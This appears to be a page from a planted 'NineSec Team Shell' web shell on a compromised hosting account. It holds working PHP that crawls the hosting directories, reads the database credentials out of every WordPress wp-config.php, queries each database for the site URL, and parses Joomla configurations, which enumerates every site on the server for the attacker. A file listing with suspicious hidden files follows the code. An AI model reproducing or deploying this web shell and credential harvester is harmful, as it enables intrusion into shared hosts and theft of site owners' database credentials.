NineSec Team Shell

<?php $r = "/home/readytorun/domains"; function is_valid_domain($domain) { if (!substr_count($domain, '.')) { return false; } if (stripos($domain, 'www.') === 0) { $domain = substr($domain, 4); } $again = 'http://' . $domain; return filter_var($again, FILTER_VALIDATE_URL); } function parse_define_value($line) { preg_match("/define$.*'(.*)'$;/", $line, $matches); return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) { $data = file_get_contents($p); $pattern = "/table_prefix\s*=\s*'([^']*)';/i"; if (preg_match($pattern, $data, $matches)) { $table_prefix = $matches[1]; } else { $table_prefix = 'wp_'; } $lines = array_map('rtrim', file($p)); $conf = []; foreach ($lines as $line) { if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) { $conf[$matches[1]] = parse_define_value($line); } } $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']); if (!$mysqli->connect_errno) { if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) { $row = $result->fetch_object(); $result->close(); $p = dirname($p); print "<f>{$p}@@@{$row->option_value}@@@wp@@@{$p}</f>\n"; } $mysqli->close(); } } function scan_joomla($p) { $c = file_get_contents($p); preg_match("/live_site = '(.*?)';/", $c, $m); if (isset($m[1])) { $p = dirname($p); print "<f>{$p}@@@{$m[1]}@@@joomla@@@{$p}</f>\n"; } } function scan($path) { $existed = ["demo.readytorun.it"]; if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { $found = false; foreach ($existed as $domain) { if (strstr($p, $domain)) { $found = true; break; } } if ($found) { continue; } if (is_link($p)) { continue; } elseif (is_dir($p)) { scan($p); } elseif ($file == 'wp-config.php') { scan_wp($p); } elseif ($file == 'configuration.php') { scan_joomla($p); } } } } } scan($r); die('!ended!');

Name	Size	Last Modified	Owner	Permissions	Options
..	--	January 02 2026 5:51:54	root	0755

.center	1.082 KB	February 03 2026 2:32:28	readytorun	0644
.class	2.561 KB	February 04 2026 3:24:39	readytorun	0644
.classes	1.56 KB	February 03 2026 2:42:34	readytorun	0644
.rfind	1.393 KB	February 02 2026 3:25:59	readytorun	0644
.rindex	1.56 KB	February 03 2026 7:23:08	readytorun	0644
.sys	1.082 KB	February 02 2026 11:24:09	readytorun	0644
.uconvert	2.538 KB	February 04 2026 3:35:08	readytorun	0644
623262209_17877260352468248_2046157027125707616_n-PGWbyn.jpg	133.976 KB	January 26 2026 7:36:05	readytorun	0644
624777408_17877614142468248_6369768764274674626_n-ws2SAz.jpg	99.804 KB	January 29 2026 7:48:53	readytorun	0644
626402999_17877844815468248_8932338910237428069_n-uhVBtY.jpg	302.942 KB	January 31 2026 7:50:02	readytorun	0644
627057163_17878110819468248_5641635103481986103_n-b1ehnM.jpg	132.155 KB	February 02 2026 9:04:15	readytorun	0644
627057163_17878110819468248_5641635103481986103_n-dRc5gF.jpg	132.155 KB	February 02 2026 9:04:15	readytorun	0644
628137159_17878225056468248_1192317956615421949_n-yXDHt6.jpg	242.502 KB	February 03 2026 9:18:56	readytorun	0644
wsdl-vontree-0057010c7621bd0b60178a2beec22dee14	205.686 KB	February 04 2026 3:42:06	vontree	0600

NineSec Team - 2022